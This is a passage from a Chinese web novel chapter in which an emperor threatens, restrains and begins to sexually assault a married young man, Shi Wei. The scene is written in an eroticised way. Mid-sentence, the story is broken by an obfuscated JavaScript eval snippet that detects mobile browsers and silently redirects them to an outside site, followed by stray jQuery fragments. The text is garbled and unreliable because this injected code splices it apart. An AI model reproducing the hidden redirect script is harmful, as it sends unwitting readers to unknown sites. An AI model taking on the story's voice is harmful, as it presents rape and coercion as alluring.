庾祁之走后,时微将自己一个人关在房内,趴在榻上哭得近乎晕厥。
日头将落时,门外传来“笃、笃、笃”三声轻叩。
时微从被他哭得洇湿一片的锦被中抬起脸,眼前一片模糊,晕晕地看向门口方向。
“呜……我不饿……”他以为是佩兰或其他人喊他出门吃饭,拖着发软的身子挪到门边,带着鼻音回了一句。
门外的叩门声顿了下。
旋即,房门被推开,进来的却不是佩兰。
来人身着明黄龙袍,头戴帝王冕旒,玉珠垂落看不清他表情,只能看见男人深不见底的眼睛,和唇角似笑非笑的一点弧度。
时微眼睛哭得红肿,视物都不太清晰。他怔怔抬头,待看清了来人是谁后整个人僵在原地。
他本能后退半步,嗓子干涩,喉头轻轻滚动,半晌说不出一句话。
萧景昭步子极轻地走进来,手掌贴在时微脸上,摸到一片濡湿。
掌心下的人在细细颤抖,像被扯断双翼落在地上的鸟儿,无助而可怜。
萧景昭瞳色渐深,碧玉扳指抵在时微脸上,被那片温软肌肤带上一点温度——
“怎么不说话?”他轻轻开口。
时微看着他,从那日宫中就开始隐隐垂在头顶的利剑终于落下,几乎要将他劈成两半,恐惧感让他睁圆了眼睛,唇瓣小兔一样嗫嚅着,连连后退几步跌倒在地。
他瘦弱的身体剧烈颤抖着,支着身体手脚并用地往后退了几步。萧景昭冷眼看着他躲避,垂着眸子没有说话。
屋内一片寂静。
窗外蓦地惊起一只野雁,禽鸟腾飞的扑翅声猛然打在时微脆弱的神经上,他神色有一瞬间的空白,随即像是爆发了平生所有的勇气,“姑姑!佩兰姑姑!周统领!”
他从地上爬起,虚弱的身体晃了下,但还是擦过萧景昭的身体快速向外跑去——“啪!”门被萧景昭一掌合上,男人的手擦过时微发间,拍在他面前的门板上。
男人结实的胸膛贴了过来,时微整个人被他困在臂弯中,鼻腔满是陌生的冰冷气味。萧景昭伸手卡住时微两腮,微一用力,将少年的脸转了过来。
时微被迫看向他的脸,十二冕旒轻轻晃动,玉珠间露出萧景昭漆黑的眼。
“庾夫人——不,时微,时公子。你现在是在向谁求救?”
时微被他压在门板上,脸被扭过去看他,这个姿势让少年十分难受,他忍不住挣了挣,被萧景昭一手反剪住双臂。
他手臂细瘦,腕骨更是伶仃一点,萧景昭的手如铜筋铁骨,轻易压制他所有挣扎。
时微很快挣累了,趴在门板上细细喘气。
萧景昭扣住他下巴的手开始游移,冰凉的指尖在时微腮边游走,一直擦过通红的眼角,时微忍不住闭上了眼,萧景昭能感觉那一层细肿眼皮下眼珠的小小颤动。
他笑了一声,随即贴在时微耳畔轻声道,“是在向周梁,周统领求救吗?”
时微吸了一下鼻子。
他被萧景昭这样一番恐吓,早已软了身子,两条小腿都在艰难颤抖,几乎整个人靠在门上,被萧景昭扯着站立。
偏偏萧景昭还不愿放过他。冰凉的手指又从眼皮一直往下滑,萧景昭一路滑过他小巧挺翘的鼻子,最后落在那被吓得发白的柔嫩菱唇上,停了一下,便开始反复揉弄。
“你原来是天生带笑的唇形。”萧景昭将两片唇瓣揉到发红,才心满意足地收回手。
“小可怜,你想想看,庾祁之给你留了五百亲卫,朕却能如过无人之境闯进你院中,”萧景昭停了一下,随即残忍接了下去。
“你那位周统领,背后真正的主子是谁?”
时微呆呆看着他,一副被吓傻了的样子。
“好可怜。时微,你知道吗?我从看见你第一眼,就想把你弄哭,弄得像现在一样可怜。不敢去看任何人,只能在我手下瑟缩发抖。”
“当真是好可怜。”
萧景昭这样说着,面上却挂着残忍的笑,一点看不出他对时微的同情。
“之前你有你的丈夫保护你,现在呢?你的丈夫抛弃你了,你又要和谁求助?你身边的侍女吗?”
“要朕把她叫进来吗?让她看着自己服侍的夫人被朕玩弄……”
“朕不介意,你也不介意么?”
萧景昭的话语像带着千斤的重锤,时微瘦削的脊骨根本承受不住这样的重击。他鸽羽般纤白的眼睫抖了一下,便沾上湿淋淋的水珠。
更多的泪珠从他漂亮的眼睛里滚了出来,萧景昭饶有兴致地看着,手下松了力道。
时微便顺着门板滑了下来,他单薄的身体在衣衫下小幅度地抖动。蓦地,时微揪住萧景昭龙袍袍角,颈项轻轻扬起,月白的发丝贴在他湿濡一片的脖颈上,随着说话的动作轻轻颤动:
“为,为什么……”
时微的眼泪聚在他尖尖的下巴上,又落在他撑在自己裙摆的五指间。
“为什么要这样对我……”
萧景昭垂在身侧的手指勾了勾,他半真半假道,“这都得怪夫人。”
男人这回又换回了夫人的称呼,时微眼睫被眼泪沾湿,他仰着头,很脆弱地看向帝王。
他不明白自己做错了什么。
萧景昭垂下眼帘,“谁让朕思念了夫人那般久,夫人却将朕忘了干净。朕不来夫人府上,夫人想必十分开心。”
萧景昭也不知自己为何会说出这样的话。
明明他于时微,只有欲望使然,没有半分其他情感。
时微听他这样说,揪着他的手指颤抖一下,眼里流出几分茫然。
他根本不知道自己这样有何过错。
但他实在太害怕了,于是便扯紧萧景昭的袍角,脊背弓起的弧度十分漂亮,弱声哭泣道:“对,对不起,陛下……”
“我,我知道错了……求,求您放过我……”
“放过我……求您……呜……”
时微断断续续说着,泣不成声。
萧景昭听他认错,内心却并不满意,甚至少年细声的道歉让他心中的不虞愈发严重。
他不知这心烦意乱从何而来,于是便要更加地欺辱时微。
帝王凉薄看着哭得可怜的臣妻,恶念顿生。他后退两步,时微便抓不住他的衣角,茫然看去时,萧景昭已经半蹲下身。
男人轻轻撩起少年被泪沾湿的发梢,将他凌乱的小脸抬起,随即恶劣地笑了。
“骗你的。”
“要怪就怪你长了这么一张脸,哭起来又这么可怜。”
时微睁大了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833970|171793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛。
萧景昭的笑却猛然消失,他一手扯住时微的手腕,将他往内间拖。
时微像是意识到什么,瘦弱的身体不住反抗,手臂扭动着想从萧景昭的禁锢中逃离,却还是硬生生被拖到床边甩在榻上。
他一路哭叫,崩溃中不知喊到了谁的名字,钳住他手腕的掌心猛然用力,像是要将他腕骨折断。
直到被结结实实甩在榻上后,时微眼前一黑,尖锐的耳鸣让他脑中“嗡”了一声。
庾祁之对他一向是温柔的,时微身体不好,庾祁之生怕哪里力气重了便要弄碎他。
如今换了萧景昭,男人生性暴戾,平和只是他的表象,时微只觉得脑中晕眩,随即一道充斥力量感的男性躯体便压了上来。
萧景昭单膝压在时微腰侧,大掌握住他两截细瘦手腕拉至头顶,冕旒玉珠倾泻而下打在时微脸上,让他清楚看到萧景昭眼里的凌犯意味。
他恐惧得说不出话,身体抖若筛糠,菱形的唇上下无力张合了一下,无声无息。
萧景昭阴暗的眼这下彻底没了笑意,他像是撕去了伪装,摁住时微的手,开口时像在撕咬少年脆弱的神经——
“你刚刚,在叫谁?”
时微张着唇,他像是被扼住喉咙的可怜幼兽,在猎人掌下可怜喘息,却连惊声尖叫也不敢。
萧景昭却不愿放过他。男人眼底一片阴翳,他抚摸着时微湿滑的面颊,冷声道:“说话。”
他的眼神太过恐怖,时微脆弱的神经寸寸崩断,他被吓傻了,下意识呼唤自己最亲密的人:
“夫,夫君……呜……救我……夫君……”
萧景昭的眼神像深不见底的海水,时微要被他眼中的风暴撕碎了,他两只手都被困在萧景昭手中,挣脱不得。
“夫君……求你,放过我,我,我想找夫君……”
萧景昭有时觉得,时微真的很明白该如何激怒别人。
他盯着少年剧烈颤动的瞳仁看了半晌,随即轻轻笑了。
“时微。”
萧景昭手掌贴在少年面颊。
“你再在我面前叫一遍庾祁之,我就让你求死不能一次。”
他说着,松开锢住少年细腕的手,纤白弱嫩的肌肤上留下几圈凌乱可怖的指印,有的已经开始微微泛青,烙印一样烙在少年雪白的腕上。
年轻的帝王头戴冕旒,唇角带笑,正伸手去解自己的衣带。
时微猛然意识到自己即将的遭遇,他喉间逼出一点崩溃的尖叫,眼泪滑过眼角,一路没入凌乱的长发。
他双手合十放在胸前,竟然又去向对他施暴的恶人求饶了,很可怜的姿态,一遍一遍说着,“放过我……求你……求求你……”
萧景昭笑了下。
“有求朕的功夫,不会自己逃跑吗?”
随即看向少年被自己压住的双腿,像是才发现似的,“啊”了一声。
“忘记了。”
“你跑不了。”
男人猛地俯身。
时微的脑中嗡鸣一片,乱七八糟的碎片从他眼前滑过,最后落在一幕幕与庾祁之相处的情景。
他的丈夫明明是庾祁之。
这是不对的。和萧景昭的这一切,都是不对的。
时微的眼泪再次流了出来。